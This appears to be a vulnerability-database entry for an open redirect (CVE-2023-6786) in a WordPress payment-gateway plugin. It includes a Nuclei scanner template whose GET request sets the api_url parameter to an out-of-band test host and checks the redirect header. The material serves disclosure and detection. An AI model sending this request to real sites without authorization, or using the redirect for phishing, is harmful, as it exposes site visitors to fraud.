CVE-2023-6786: Payment Gateway for Telcell < 2.0.4 - Open Redirect

2025-08-01 Payment Gateway for Telcell PoC Public

Description

The plugin does not validate the api_url parameter before redirecting the user to its value, leading to an Open Redirect issue

PoC

id: CVE-2023-6786

info:
  name: Payment Gateway for Telcell < 2.0.4 - Open Redirect
  author: s4e-io
  severity: medium
  description: |
    The plugin does not validate the api_url parameter before redirecting the user to its value, leading to an Open Redirect issue
  impact: |
    Unauthenticated attackers can exploit open redirect through the api_url parameter to redirect users to malicious websites for phishing attacks.
  remediation: |
    Fixed in 2.0.4
  reference:
    - https://wpscan.com/vulnerability/f3e64947-3138-4ec4-86c4-27b5d6a5c9c2/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6786
  classification:
    cve-id: CVE-2023-6786
    epss-score: 0.00509
    epss-percentile: 0.42192
  metadata:
    max-request: 1
    verified: true
    publicwww-query: "/wp-content/plugins/payment-gateway-for-telcell"
  tags: cve,cve2023,wordpress,redirect,wp-plugin,wp,payment-gateway-for-telcell,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=wc-settings&action=redirect_telcell_form&api_url=https://oast.me"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$'
# digest: 4a0a00473045022079dc36848c100818700ee146cde00c253b34db207b320b14f866b77ebcb85c2b02210086aaedd2265d393406927edeece56a0f13c37c0f07e18311818fb7f924027366:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities